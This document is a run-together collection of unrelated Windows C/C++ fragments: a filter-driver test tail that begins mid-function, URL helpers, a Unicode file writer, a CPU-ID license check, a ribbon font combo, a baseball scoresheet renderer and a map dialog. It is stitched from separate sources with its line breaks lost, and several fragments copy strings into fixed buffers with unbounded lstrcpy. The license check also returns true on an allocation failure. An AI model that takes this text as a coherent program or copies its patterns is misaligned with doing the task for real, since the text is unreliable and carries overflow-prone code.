IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))); } } if (_ERR_DRVFAULT_FLT & gDrvEventList.m_ErrorFlags) { Log.AddToLog(L"further filter's check skipped - errors..."); } else { Log.AddToLog(L"checking enable/disable..."); pFlt->m_FilterID = FltArr[2]; pFlt->m_FltCtl = FLTCTL_DISABLE_FILTER; if (FALSE == IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))) { Log.AddToLog(L"Disable filter failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } pFlt->m_FltCtl = FLTCTL_ENABLE_FILTER; if (FALSE == IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))) { Log.AddToLog(L"Enable filter failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } Log.AddToLog(L"checking delete/reset..."); ResetEvent(hEventAppear); pFlt->m_FltCtl = FLTCTL_DEL; if (FALSE == IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))) { Log.AddToLog(L"Delete filter failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } pFlt->m_FltCtl = FLTCTL_RESET_FILTERS; if (FALSE == IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))) { Log.AddToLog(L"Reset filter failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } if (WAIT_OBJECT_0 != WaitForSingleObject(hEventAppear, 1000 * 60 * 3)) // 3 min { Log.AddToLog(L"Error: change filter's queue not detected!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } } } #define _flt_timeout 20 /*sec*/ Log.AddToLog(L"checking filter with timeout..."); FILETIME STasFT; ULARGE_INTEGER ExpTime; GetSystemTimeAsFileTime(&STasFT); ExpTime.LowPart=STasFT.dwLowDateTime; ExpTime.HighPart=STasFT.dwHighDateTime; STasFT.dwLowDateTime=_flt_timeout; ExpTime.QuadPart=ExpTime.QuadPart+(LONGLONG)STasFT.dwLowDateTime * 6000000; //600000000 ULONG FltTimeout = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 5, FLT_A_INFO, FLTTYPE_FLT, 0, 0, *((__int64*)&ExpTime), PreProcessing, NULL, NULL); if (FltTimeout == 0) { Log.AddToLog(L"Error: add filter with timeout failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { pSingleParam->ParamFlags = _SINGLE_PARAM_FLAG_NONE; pSingleParam->ParamID = _PARAM_OBJECT_URL_W; lstrcpy((PWCHAR)pSingleParam->ParamValue, L"this is test filter with timeout..."); pSingleParam->ParamSize = (lstrlen((PWCHAR)pSingleParam->ParamValue) + 1) * sizeof(WCHAR); if (FALSE == IDriverFilterEvent(FltJob.m_hDevice, pSignleEvt, FALSE, &Verdict)) { Log.AddToLog(L"Error: check filter with timeout failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { Sleep((_flt_timeout + 1) * 1000); lstrcpy((PWCHAR)pSingleParam->ParamValue, L"Error: filter with timeout is present in queue after timeout!"); pSingleParam->ParamSize = (lstrlen((PWCHAR)pSingleParam->ParamValue) + 1) * sizeof(WCHAR); if (FALSE == IDriverFilterEvent(FltJob.m_hDevice, pSignleEvt, FALSE, &Verdict)) { Log.AddToLog(L"Error: check filter with timeout failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } } } while ((pEvt = gDrvEventList.GetFirst()) != NULL) { Log.AddToLog((PEVENT_TRANSMIT) pEvt); gDrvEventList.Free(pEvt); } // params and cache #define _test_params 20 BYTE pbParams[_test_params][sizeof(FILTER_PARAM) + 0x100]; ZeroMemory(pbParams, sizeof(pbParams)); if (!(_ERR_DRVFAULT_FLT & gDrvEventList.m_ErrorFlags)) { PFILTER_PARAM pArrFltParam[_test_params]; // dword - FLT_PARAM_AND, FLT_PARAM_EUA, FLT_PARAM_ABV, FLT_PARAM_BEL, FLT_PARAM_MORE, FLT_PARAM_LESS, FLT_PARAM_MASK, FLT_PARAM_EQU_LIST // string - FLT_PARAM_WILDCARD #define FltParam(_idx, _type, _value) { pArrFltParam[_idx] = (PFILTER_PARAM) pbParams[_idx];\ pArrFltParam[_idx]->m_ParamFlags = _FILTER_PARAM_FLAG_CACHABLE;\ pArrFltParam[_idx]->m_ParamFlt = _idx;\ pArrFltParam[_idx]->m_ParamID = _idx;\ pArrFltParam[_idx]->m_ParamSize = sizeof(_type);\ *(_type*)(pArrFltParam[_idx]->m_ParamValue) = _value;} FltParam(FLT_PARAM_AND, BYTE, 1); FltParam(FLT_PARAM_ABV, DWORD, 50001); FltParam(FLT_PARAM_BEL, DWORD, 50001); FltParam(FLT_PARAM_MORE, DWORD, 0x2000003); FltParam(FLT_PARAM_LESS, DWORD, 0x2000003); ULONG FltTimeout = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 5, FLT_A_INFO | FLT_A_SAVE2CACHE | FLT_A_USECACHE | FLT_A_RESETCACHE, FLTTYPE_FLT, 0, 0, 0, PreProcessing, NULL, pArrFltParam[FLT_PARAM_AND], pArrFltParam[FLT_PARAM_ABV], pArrFltParam[FLT_PARAM_BEL], pArrFltParam[FLT_PARAM_MORE], pArrFltParam[FLT_PARAM_LESS], NULL); if (FltTimeout == 0) { Log.AddToLog(L"Error: add filter with parameters failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { VERDICT VerdictOk, VerdictBad; pSingleParam->ParamFlags = _SINGLE_PARAM_FLAG_NONE; #define _check_flt_op(_str, _op, _type, _val1, _val2) Log.AddToLog(L"Checking flt op " _str L"...");\ pSingleParam->ParamID = _op;\ *(_type*)pSingleParam->ParamValue = _val1;\ pSingleParam->ParamSize = sizeof(_type);\ if (FALSE == IDriverFilterEvent(FltJob.m_hDevice, pSignleEvt, TRUE, &VerdictOk))\ VerdictOk = Verdict_Debug;\ *(_type*)pSingleParam->ParamValue = _val2;\ if (FALSE == IDriverFilterEvent(FltJob.m_hDevice, pSignleEvt, TRUE, &VerdictBad))\ VerdictBad = Verdict_Debug;\ if (VerdictOk != Verdict_Pass || VerdictBad != Verdict_NotFiltered)\ {\ Log.AddToLog(L"Flt operation" _str L" returned bad result");\ gDrvEventList.SetError(_ERR_DRVFAULT_FLT);\ } //+ ---------------------------------------------------------------------------------------- _check_flt_op(L"AND", FLT_PARAM_AND, BYTE, 1, 2); //+ ---------------------------------------------------------------------------------------- _check_flt_op(L"ABV", FLT_PARAM_ABV, DWORD, 50001, 50000); //+ ---------------------------------------------------------------------------------------- _check_flt_op(L"BEL", FLT_PARAM_BEL, DWORD, 50001, 50002); //+ ---------------------------------------------------------------------------------------- _check_flt_op(L"MORE", FLT_PARAM_MORE, DWORD, 0x2000003, 0x2000004); //+ ---------------------------------------------------------------------------------------- _check_flt_op(L"LESS", FLT_PARAM_LESS, DWORD, 0x2000003, 0x2000002); } } if (!(_ERR_DRVFAULT_FLT & gDrvEventList.m_ErrorFlags)) { pFlt->m_FltCtl = FLTCTL_RESET_FILTERS; if (FALSE == IDriverFilterTransmit(FltJob.m_hDevice, pFlt, pFlt, sizeof(FltTransmit), sizeof(FltTransmit))) { Log.AddToLog(L"Reset filter failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } } if (!(_ERR_DRVFAULT_FLT & gDrvEventList.m_ErrorFlags)) { PFILTER_PARAM pCacheParam = (PFILTER_PARAM) pbParams; pCacheParam->m_ParamFlags = _FILTER_PARAM_FLAG_CACHABLE; pCacheParam->m_ParamFlt = FLT_PARAM_WILDCARD; pCacheParam->m_ParamID = _PARAM_OBJECT_URL_W; lstrcpy((PWCHAR)pCacheParam->m_ParamValue, L"*"); pCacheParam->m_ParamSize = (lstrlen((PWCHAR)pCacheParam->m_ParamValue) + 1) * sizeof(WCHAR); ULONG FltCache = AddFSFilter2(FltJob.m_hDevice, FltJob.m_AppID, gpModuleName, 0, FLT_A_POPUP | FLT_A_SAVE2CACHE | FLT_A_USECACHE, FLTTYPE_FLT, 0, 0, 0, PreProcessing, NULL, pCacheParam, NULL); if (!FltCache) { Log.AddToLog(L"Error: can't add filter for checking cache!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { VERDICT Verdict1, Verdict2; pSignleEvt->ProcessingType = PreProcessing; pSingleParam->ParamFlags = _SINGLE_PARAM_FLAG_NONE; pSingleParam->ParamID = _PARAM_OBJECT_URL_W; lstrcpy((PWCHAR)pSingleParam->ParamValue, L"check cache (must be one such string in log!)"); pSingleParam->ParamSize = (lstrlen((PWCHAR)pSingleParam->ParamValue) + 1) * sizeof(WCHAR); if (FALSE == IDriverFilterEvent(FltJob.m_hDevice, pSignleEvt, FALSE, &Verdict1)) { Log.AddToLog(L"Error: check driver cache!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { if (FALSE == IDriverFilterEvent(FltJob.m_hDevice, pSignleEvt, FALSE, &Verdict2)) { Log.AddToLog(L"Error: check driver cache (second event)!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } else { if ((Verdict1 != Verdict_Pass) || (Verdict2 != Verdict_Pass)) { Log.AddToLog(L"Error: check driver cache failed!"); gDrvEventList.SetError(_ERR_DRVFAULT_FLT); } } } } } FltJob.ChangeActiveStatus(false); while ((pEvt = gDrvEventList.GetFirst()) != NULL) { Log.AddToLog((PEVENT_TRANSMIT) pEvt); gDrvEventList.Free(pEvt); } } } #endif //- //- ---------------------------------------------------------------------------------------- Log.AddToLog(L"\nTest finished."); if (gDrvEventList.m_Errors) { WCHAR err[128]; wsprintf(err, L"Errors %d, mask %x", gDrvEventList.m_Errors, gDrvEventList.m_ErrorFlags); Log.AddToLog(err); return gDrvEventList.m_ErrorFlags; } Log.AddToLog(L"\n\nNo errors."); return 0; }
LPCTSTR WebAPIFactory::GetSupportPageURL ( LPTSTR lpszBuff ) { lstrcpy (lpszBuff, WEBSITE_URL_BASE); ::_tcscat (lpszBuff, _T("v=synopsis")); return lpszBuff; }
// -------------------------------------------------------------------------------------------- // // CStdioFileEx::WriteString() // // -------------------------------------------------------------------------------------------- // Returns: void // Parameters: LPCTSTR lpsz // // Purpose: Writes string to file either in Unicode or multibyte, depending on whether the caller specified the // CStdioFileEx::modeWriteUnicode flag. Override of base class function. // Notes: If writing in Unicode we need to: // a) Write the Byte-order-mark at the beginning of the file // b) Write all strings in byte-mode // - If we were compiled in Unicode, we need to convert Unicode to multibyte if // we want to write in multibyte // - If we were compiled in multi-byte, we need to convert multibyte to Unicode if // we want to write in Unicode. // Exceptions: None. // void CStdioFileEx::WriteString(LPCTSTR lpsz) { // If writing Unicode and at the start of the file, need to write byte mark if (m_nFlags & CStdioFileEx::modeWriteUnicode) { // If at position 0, write byte-order mark before writing anything else if (!m_pStream || GetPosition() == 0) { wchar_t cBOM = (wchar_t)nUNICODE_BOM; CFile::Write(&cBOM, sizeof(wchar_t)); } } // If compiled in Unicode... #ifdef _UNICODE // If writing Unicode, no conversion needed if (m_nFlags & CStdioFileEx::modeWriteUnicode) { // Write in byte mode CFile::Write(lpsz, lstrlen(lpsz) * sizeof(wchar_t)); } // Else if we don't want to write Unicode, need to convert else { int nChars = lstrlen(lpsz) + 1; // Why plus 1? Because yes int nBufferSize = nChars * sizeof(char); wchar_t* pszUnicodeString = new wchar_t[nChars]; char * pszMultiByteString= new char[nChars]; int nCharsWritten = 0; // Copy string to Unicode buffer lstrcpy(pszUnicodeString, lpsz); // Get multibyte string nCharsWritten = GetMultiByteStringFromUnicodeString(pszUnicodeString, pszMultiByteString, ( short ) nBufferSize, GetACP()); if (nCharsWritten > 0) { // CFile::Write((const void*)pszMultiByteString, lstrlen(lpsz)); // Do byte-mode write using actual chars written (fix by Howard J Oh) CFile::Write((const void*)pszMultiByteString, nCharsWritten*sizeof(char)); } if (pszUnicodeString && pszMultiByteString) { delete [] pszUnicodeString; delete [] pszMultiByteString; } } // Else if *not* compiled in Unicode #else // If writing Unicode, need to convert if (m_nFlags & CStdioFileEx::modeWriteUnicode) { int nChars = lstrlen(lpsz) + 1; // Why plus 1? Because yes wchar_t* pszUnicodeString = new wchar_t[nChars]; char * pszMultiByteString= new char[nChars]; int nCharsWritten = 0; // Copy string to multibyte buffer lstrcpy(pszMultiByteString, lpsz); nCharsWritten = GetUnicodeStringFromMultiByteString(pszMultiByteString, pszUnicodeString, nChars, GetACP()); if (nCharsWritten > 0) { // CFile::Write(pszUnicodeString, lstrlen(lpsz) * sizeof(wchar_t)); // Write in byte mode. Write actual number of chars written * bytes (fix by Howard J Oh) CFile::Write(pszUnicodeString, nCharsWritten*sizeof(wchar_t)); } else { ASSERT(false); } if (pszUnicodeString && pszMultiByteString) { delete [] pszUnicodeString; delete [] pszMultiByteString; } } // Else if we don't want to write Unicode, no conversion needed else { // Do standard stuff //CStdioFile::WriteString(lpsz); // Do byte-mode write. This avoids annoying "interpretation" of \n's as \r\n CFile::Write((const void*)lpsz, lstrlen(lpsz)*sizeof(char)); } #endif }
LPCTSTR WebAPIFactory::GetSharePageURL ( LPTSTR lpszBuff ) { lstrcpy (lpszBuff, WEBSITE_URL_BASE); ::_tcscat (lpszBuff, _T("v=share")); return lpszBuff; }
bool checkLicense() { CString strcpuid = GetCPUID(); unsigned char szMDTemp[16]; MD5_CTX Md5; Md5.MD5Update((unsigned char *)strcpuid.GetBuffer(),strcpuid.GetLength()); Md5.MD5Final(szMDTemp); char m_szMD5Pass[50]; for (int i = 0; i < 16; i ++) wsprintf(&m_szMD5Pass[i * 2], "%02x", szMDTemp[i] ); CString StrMd5CpuID = m_szMD5Pass; DWORD cfgHandle=cfgOpenFile("BZGameLocal.BCF"); if(cfgHandle<0x10) return false; CString license = cfgGetValue(cfgHandle,"License","License",""); cfgClose(cfgHandle); yxyDES des; string key = strcpuid.GetBuffer(); des.InitializeKey(key); des.DecryptAnyLength(license.GetBuffer()); string strtmp = des.GetPlaintextAnyLength(); string lsecpuid; string date; if (strtmp.length() == 40) { lsecpuid = strtmp.substr(0, 32); date = strtmp.substr(32, 40); } string lcs = m_szMD5Pass; CTime tmnow = CTime::GetCurrentTime(); string strNow = tmnow.Format("%Y%m%d").GetBuffer(); if (lcs == lsecpuid && strNow <= date) return true; else { CString s; s.Format("您的服务器未注册或已过期,请与服务商联系。\n\n请将以下机器码发送给服务商,获取注册码文件:\n\n%s\n\n",strcpuid.GetBuffer()); MessageBox(NULL, s,"提示",MB_ICONERROR); s="机器码已复制到您的剪贴板中,直接Ctrl+V粘贴机器码!"; MessageBox(NULL, s,"提示",MB_ICONINFORMATION); OpenClipboard(NULL); EmptyClipboard(); HANDLE hData=GlobalAlloc(GMEM_MOVEABLE, strcpuid.GetLength()+5); if (hData==NULL) { CloseClipboard(); return TRUE; } LPTSTR szMemName=(LPTSTR)GlobalLock(hData); lstrcpy(szMemName,strcpuid); SetClipboardData(CF_TEXT,hData); GlobalUnlock(hData); GlobalFree(hData); CloseClipboard(); return false; } }
//******************************************************************************** BOOL CBCGPRibbonFontComboBox::OnDrawDropListItem (CDC* pDC, int nIndex, CBCGPToolbarMenuButton* pItem, BOOL /*bHighlight*/) { ASSERT_VALID (this); if (m_Images.GetCount() == 0) { CBCGPLocalResource locaRes; m_Images.SetImageSize(CSize(nImageWidth, nImageHeight)); if (globalData.Is32BitIcons()) { m_Images.Load(IDB_BCGBARRES_FONT32); } else { m_Images.SetTransparentColor(RGB (255, 255, 255)); m_Images.Load(IDB_BCGBARRES_FONT); } } CRect rc = pItem->Rect (); CBCGPFontDesc* pDesc = (CBCGPFontDesc*) GetItemData (nIndex); LPCTSTR lpszText = GetItem (nIndex); if (pDesc == NULL || lpszText == NULL) { return FALSE; } ASSERT_VALID (pDesc); CFont fontSelected; CFont* pOldFont = NULL; if (pDesc->m_nType & (DEVICE_FONTTYPE | TRUETYPE_FONTTYPE)) { m_Images.DrawEx(pDC, rc, pDesc->GetImageIndex (), CBCGPToolBarImages::ImageAlignHorzLeft, CBCGPToolBarImages::ImageAlignVertCenter); } rc.left += nImageWidth + nImageMargin; if (m_bDrawUsingFont && pDesc->m_nCharSet != SYMBOL_CHARSET) { LOGFONT lf; globalData.fontRegular.GetLogFont (&lf); lstrcpy (lf.lfFaceName, pDesc->m_strName); if (pDesc->m_nCharSet != DEFAULT_CHARSET) { lf.lfCharSet = pDesc->m_nCharSet; } if (lf.lfHeight < 0) { lf.lfHeight -= 4; } else { lf.lfHeight += 4; } fontSelected.CreateFontIndirect (&lf); pOldFont = pDC->SelectObject (&fontSelected); } CString strText = lpszText; pDC->DrawText (strText, rc, DT_SINGLELINE | DT_VCENTER); if (pOldFont != NULL) { pDC->SelectObject (pOldFont); } return TRUE; }
void FormA::OnDraw(CDC * pDC, CBaseballDoc* pDoc) { #define xStart 2000 #define yStartForm 250 #define yStart 500 #define xIncInning 437 #define yIncInning 437 #define xIncStats 250 #define yIncStats 437 int ix, iy; int ibx, iby; int i; LPSTR lpBits; CFont* origFont; CFont myFont; LOGFONT lf; char szFontName[LF_FACESIZE] = "Times New Roman"; CSize l_bitmapsize; CWnd* pmyCWnd; // TODO: add draw code for native data here pmyCWnd = AfxGetMainWnd(); memset(&lf, 0, sizeof(LOGFONT)); lstrcpy(lf.lfFaceName, szFontName); lf.lfHeight = -100; VERIFY(myFont.CreateFontIndirect(&lf)); origFont = pDC->SelectObject(&myFont); // Based on 8000 x 10,500 = .001 // Size for drawing is 437,0 x 10490,-7990 // 7/16 = 43.75 // 1/16 = 6.25 int xStopInning, xStopStats, yStopInnings; xStopInning = (12*xIncInning)+xStart; yStopInnings = (12*yIncInning)+yStart; for (ix=xStart; ix<=xStopInning; ix+=xIncInning) { pDC->MoveTo(ix,-yStartForm); // Fld Rating pDC->LineTo(ix,-yStopInnings); } xStopStats = (11*xIncStats)+ix; for (ix; ix<=xStopStats; ix+=xIncStats) { pDC->MoveTo(ix,-yStartForm); // AB pDC->LineTo(ix,-yStopInnings); } ix-=xIncStats; for (iy=yStart; iy<=yStopInnings; iy+=437) { pDC->MoveTo(437,-iy); // Players pDC->LineTo(xStopStats,-iy); } iy-=437; pDC->MoveTo(437,-yStartForm); pDC->LineTo(437,-yStopInnings); pDC->LineTo(xStopStats,-yStopInnings); pDC->LineTo(xStopStats,-yStartForm); pDC->LineTo(437,-yStartForm); pDC->TextOut(xStart+49,-(yStartForm+45),"FLDG",4); if (pDoc->GetScoresheetFormXtra()) { pDC->TextOut(xStart+150+(1*xIncInning),-(yStartForm+45),"13",2); pDC->TextOut(xStart+150+(2*xIncInning),-(yStartForm+45),"14",2); pDC->TextOut(xStart+150+(3*xIncInning),-(yStartForm+45),"15",2); pDC->TextOut(xStart+150+(4*xIncInning),-(yStartForm+45),"16",2); pDC->TextOut(xStart+150+(5*xIncInning),-(yStartForm+45),"17",2); pDC->TextOut(xStart+150+(6*xIncInning),-(yStartForm+45),"18",2); pDC->TextOut(xStart+150+(7*xIncInning),-(yStartForm+45),"19",2); pDC->TextOut(xStart+150+(8*xIncInning),-(yStartForm+45),"20",2); pDC->TextOut(xStart+150+(9*xIncInning),-(yStartForm+45),"21",2); pDC->TextOut(xStart+113+(10*xIncInning),-(yStartForm+45),"22",2); pDC->TextOut(xStart+113+(11*xIncInning),-(yStartForm+45),"23",2); pDC->TextOut(xStart+113+(12*xIncInning),-(yStartForm+45),"24",2); } else { pDC->TextOut(xStart+150+(1*xIncInning),-(yStartForm+45),"1",1); pDC->TextOut(xStart+150+(2*xIncInning),-(yStartForm+45),"2",1); pDC->TextOut(xStart+150+(3*xIncInning),-(yStartForm+45),"3",1); pDC->TextOut(xStart+150+(4*xIncInning),-(yStartForm+45),"4",1); pDC->TextOut(xStart+150+(5*xIncInning),-(yStartForm+45),"5",1); pDC->TextOut(xStart+150+(6*xIncInning),-(yStartForm+45),"6",1); pDC->TextOut(xStart+150+(7*xIncInning),-(yStartForm+45),"7",1); pDC->TextOut(xStart+150+(8*xIncInning),-(yStartForm+45),"8",1); pDC->TextOut(xStart+150+(9*xIncInning),-(yStartForm+45),"9",1); pDC->TextOut(xStart+113+(10*xIncInning),-(yStartForm+45),"10",2); pDC->TextOut(xStart+113+(11*xIncInning),-(yStartForm+45),"11",2); pDC->TextOut(xStart+113+(12*xIncInning),-(yStartForm+45),"12",2); } pDC->TextOut(xStart+33+(13*xIncInning),-(yStartForm+45),"AB",2); pDC->TextOut(xStart+88+(13*xIncInning)+(1*xIncStats),-(yStartForm+45),"R",1); pDC->TextOut(xStart+88+(13*xIncInning)+(2*xIncStats),-(yStartForm+45),"H",1); pDC->TextOut(xStart+25+(13*xIncInning)+(3*xIncStats),-(yStartForm+45),"RBI",3); pDC->TextOut(xStart+33+(13*xIncInning)+(4*xIncStats),-(yStartForm+45),"2B",2); pDC->TextOut(xStart+33+(13*xIncInning)+(5*xIncStats),-(yStartForm+45),"3B",2); pDC->TextOut(xStart+33+(13*xIncInning)+(6*xIncStats),-(yStartForm+45),"HR",2); pDC->TextOut(xStart+88+(13*xIncInning)+(7*xIncStats),-(yStartForm+45),"W",1); pDC->TextOut(xStart+88+(13*xIncInning)+(8*xIncStats),-(yStartForm+45),"K",1); pDC->TextOut(xStart+33+(13*xIncInning)+(9*xIncStats),-(yStartForm+45),"RE",2); pDC->TextOut(xStart+25+(13*xIncInning)+(10*xIncStats),-(yStartForm+45-30),"SB",2); pDC->TextOut(xStart+75+(13*xIncInning)+(10*xIncStats),-(yStartForm+45+70),"CS",2); // Boxes for Inning Scores pDC->MoveTo(437,-7000); pDC->LineTo(7062,-7000); pDC->MoveTo(437,-7500); pDC->LineTo(7062,-7500); pDC->MoveTo(437,-6750); pDC->LineTo(7062,-6750); pDC->LineTo(7062,-7990); pDC->LineTo(437,-7990); pDC->LineTo(437,-6750); for (i=1437; i<7062; i+=375) { pDC->MoveTo(i,-6750); pDC->LineTo(i,-7990); } pDC->TextOut(712,-6800,"TEAMS",5); if (pDoc->GetScoresheetFormXtra()) { pDC->TextOut(1437+150,-6800,"13",2); pDC->TextOut(1437+150+(1*375),-6800,"14",2); pDC->TextOut(1437+150+(2*375),-6800,"15",2); pDC->TextOut(1437+150+(3*375),-6800,"16",2); pDC->TextOut(1437+150+(4*375),-6800,"17",2); pDC->TextOut(1437+150+(5*375),-6800,"18",2); pDC->TextOut(1437+150+(6*375),-6800,"19",2); pDC->TextOut(1437+150+(7*375),-6800,"20",2); pDC->TextOut(1437+150+(8*375),-6800,"21",2); pDC->TextOut(1437+113+(9*375),-6800,"22",2); pDC->TextOut(1437+113+(10*375),-6800,"23",2); pDC->TextOut(1437+113+(11*375),-6800,"24",2); } else { pDC->TextOut(1437+150,-6800,"1",1); pDC->TextOut(1437+150+(1*375),-6800,"2",1); pDC->TextOut(1437+150+(2*375),-6800,"3",1); pDC->TextOut(1437+150+(3*375),-6800,"4",1); pDC->TextOut(1437+150+(4*375),-6800,"5",1); pDC->TextOut(1437+150+(5*375),-6800,"6",1); pDC->TextOut(1437+150+(6*375),-6800,"7",1); pDC->TextOut(1437+150+(7*375),-6800,"8",1); pDC->TextOut(1437+150+(8*375),-6800,"9",1); pDC->TextOut(1437+113+(9*375),-6800,"10",2); pDC->TextOut(1437+113+(10*375),-6800,"11",2); pDC->TextOut(1437+113+(11*375),-6800,"12",2); } pDC->TextOut(1437+150+(12*375),-6800,"R",1); pDC->TextOut(1437+150+(13*375),-6800,"H",1); pDC->TextOut(1437+150+(14*375),-6800,"E",1); // Pitcher Stats pDC->MoveTo(xStopStats,-yStopInnings-125); pDC->LineTo(xStopStats,-yStopInnings-125-(5*250)); pDC->LineTo(xStopStats-1000-(6*375),-yStopInnings-125-(5*250)); pDC->LineTo(xStopStats-1000-(6*375),-yStopInnings-125); pDC->LineTo(xStopStats,-yStopInnings-125); for (i=xStopStats-(6*375);i<=xStopStats;i+=375) { pDC->MoveTo(i,-yStopInnings-125); pDC->LineTo(i,-yStopInnings-125-(5*250)); } for (i=yStopInnings+125+250; i<=yStopInnings+125+(5*250); i+=250) { pDC->MoveTo(xStopStats-1000-(6*375),-i); pDC->LineTo(xStopStats,-i); } pDC->TextOut(xStopStats-1000-(6*375)+192,-yStopInnings-125-50,"PITCHER",7); pDC->TextOut(xStopStats-(6*375)+113,-yStopInnings-125-50,"IP",2); pDC->TextOut(xStopStats-(6*375)+150+(1*375),-yStopInnings-125-50,"H",1); pDC->TextOut(xStopStats-(6*375)+150+(2*375),-yStopInnings-125-50,"W",1); pDC->TextOut(xStopStats-(6*375)+150+(3*375),-yStopInnings-125-50,"K",1); pDC->TextOut(xStopStats-(6*375)+113+(4*375),-yStopInnings-125-50,"HR",2); pDC->TextOut(xStopStats-(6*375)+113+(5*375),-yStopInnings-125-50,"ER",2); // Game Number pDC->MoveTo(xStopStats,-7990); pDC->LineTo(xStopStats,-7250); pDC->LineTo(xStopStats-1000,-7250); pDC->LineTo(xStopStats-1000,-7990); pDC->LineTo(xStopStats,-7990); pDC->MoveTo(xStopStats-1000,-7500); pDC->LineTo(xStopStats,-7500); pDC->TextOut(xStopStats-1000+50,-7250-50,"GAME NUMBER",11); // Load the Bitmap pDC->SelectPalette(&hPalette, FALSE); pDC->RealizePalette(); // Put the palette into action hRes = LoadResource(AfxGetResourceHandle(), FindResource(AfxGetResourceHandle(), MAKEINTRESOURCE(IDB_FieldLineGray),RT_BITMAP)); lpBitmapInfo = (LPBITMAPINFO) LockResource (hRes); // Find the address of the bitmap data lpBits = (LPSTR) lpBitmapInfo; lpBits += (WORD)lpBitmapInfo->bmiHeader.biSize + (WORD) (nColorData * sizeof(RGBQUAD)); // Display the bitmap on the windows client area for (ibx=xStart+20+xIncInning; ibx<=xStopInning+20; ibx+=xIncInning) { for (iby=yStart+20; iby<=yStopInnings; iby+=yIncInning) { StretchDIBits(pDC->m_hDC, ibx, -iby, 392, -392, 0, 0, (WORD) lpBitmapInfo->bmiHeader.biWidth, (WORD) lpBitmapInfo->bmiHeader.biHeight, lpBits, lpBitmapInfo, DIB_RGB_COLORS, SRCCOPY); } } GlobalUnlock(hRes); DeleteObject(hPalette); FreeResource(hRes); // pmyCWnd->MessageBox( "Create CompatibleDC Failed", // "Information", // MB_ICONINFORMATION ); pDC->SelectObject(origFont); }
void LocationDialog::displayMap(HWND hDlg, HWND hButton) // Draw the current map. { double latitude, longitude, width, height; double aspectRatio; double x1, x2, y1, y2; minLongitude = -180.; minLatitude = -90.; maxLongitude = 180.; maxLatitude = 90.; // Get the map file name. char mapName[32]; lstrcpy(mapName, mapTable[mapIndex].filename); HANDLE hMap = openMapFile(mapName); if (hMap == INVALID_HANDLE_VALUE) return; // Get the control dimensions. RECT mapRect; GetWindowRect(GetDlgItem(hDlg, IDC_MAP_PICTURE), &mapRect); mapWidth = (short)(mapRect.right - mapRect.left); mapHeight = (short)(mapRect.bottom - mapRect.top); // Read the map file header and record values. DWORD bytesRead; if (ReadFile(hMap, &latitude, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) { CloseHandle(hMap); return; } if (ReadFile(hMap, &longitude, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) { CloseHandle(hMap); return; } if (ReadFile(hMap, &width, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) { CloseHandle(hMap); return; } aspectRatio = ((double)mapHeight)/((double)mapWidth); height = width * aspectRatio; minLongitude = longitude - width / 2.; minLatitude = latitude - height / 2.; maxLongitude = longitude + width / 2.; maxLatitude = latitude + height / 2.; crossVisible = FALSE; HDC hDC = GetDC(hDlg); COLORREF bkColor = GetPixel(hDC, 2, 2); ReleaseDC(hDlg, hDC); // Read the rest of the file and draw. hDC = GetDC(hButton); if (hDC != NULL) { RECT rect; rect.left = rect.top = 0; rect.right = mapWidth; rect.bottom = mapHeight; HBRUSH bkBrush = CreateSolidBrush(bkColor); HBRUSH oBrush = (HBRUSH)SelectObject(hDC, bkBrush); GetClientRect(hButton, &mapRect); Rectangle(hDC, mapRect.left - 1, mapRect.top, mapRect.right + 2 , mapRect.bottom); while (TRUE) { if (ReadFile(hMap, &x1, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) break; if (ReadFile(hMap, &y1, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) break; if (ReadFile(hMap, &x2, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) break; if (ReadFile(hMap, &y2, sizeof(double), &bytesRead, NULL) == FALSE || bytesRead == 0) break; if (x1 * x2 > 0.0) { // only if they have the same sign short mx, my, lx, ly; mx = (short)((x1 - minLongitude) * mapWidth / width); my = (short)(mapHeight - ((y1 - minLatitude) * mapHeight / height)); #ifdef DEBUG if (mx > mapWidth) break;//mx = mapWidth; if (mx < 0) break;//mx = 0; if (my > mapHeight) break;//my = mapHeight; if (my < 0) break;//my = 0; #endif lx = (short)((x2 - minLongitude) * mapWidth / width); ly = (short)(mapHeight - ((y2 - minLatitude) * mapHeight / height)); #ifdef DEBUG if (lx > mapWidth) break;//lx = mapWidth; if (lx < 0) break;//lx = 0; if (ly > mapHeight) break;//ly = mapHeight; if (ly < 0) break;//ly = 0; #endif MoveToEx(hDC, mx, my, NULL); LineTo(hDC, lx, ly); } } SelectObject(hDC, oBrush); DeleteObject(bkBrush); ReleaseDC(hButton, hDC); } CloseHandle(hMap); // calculate for imageToLatLong. xBias = longitude - (width/2.); yBias = latitude - ((width/2.)*((double)mapHeight/(double)mapWidth)); scale = (double) mapWidth / width; mapLongWidth = width; mapLatHeight = height; }
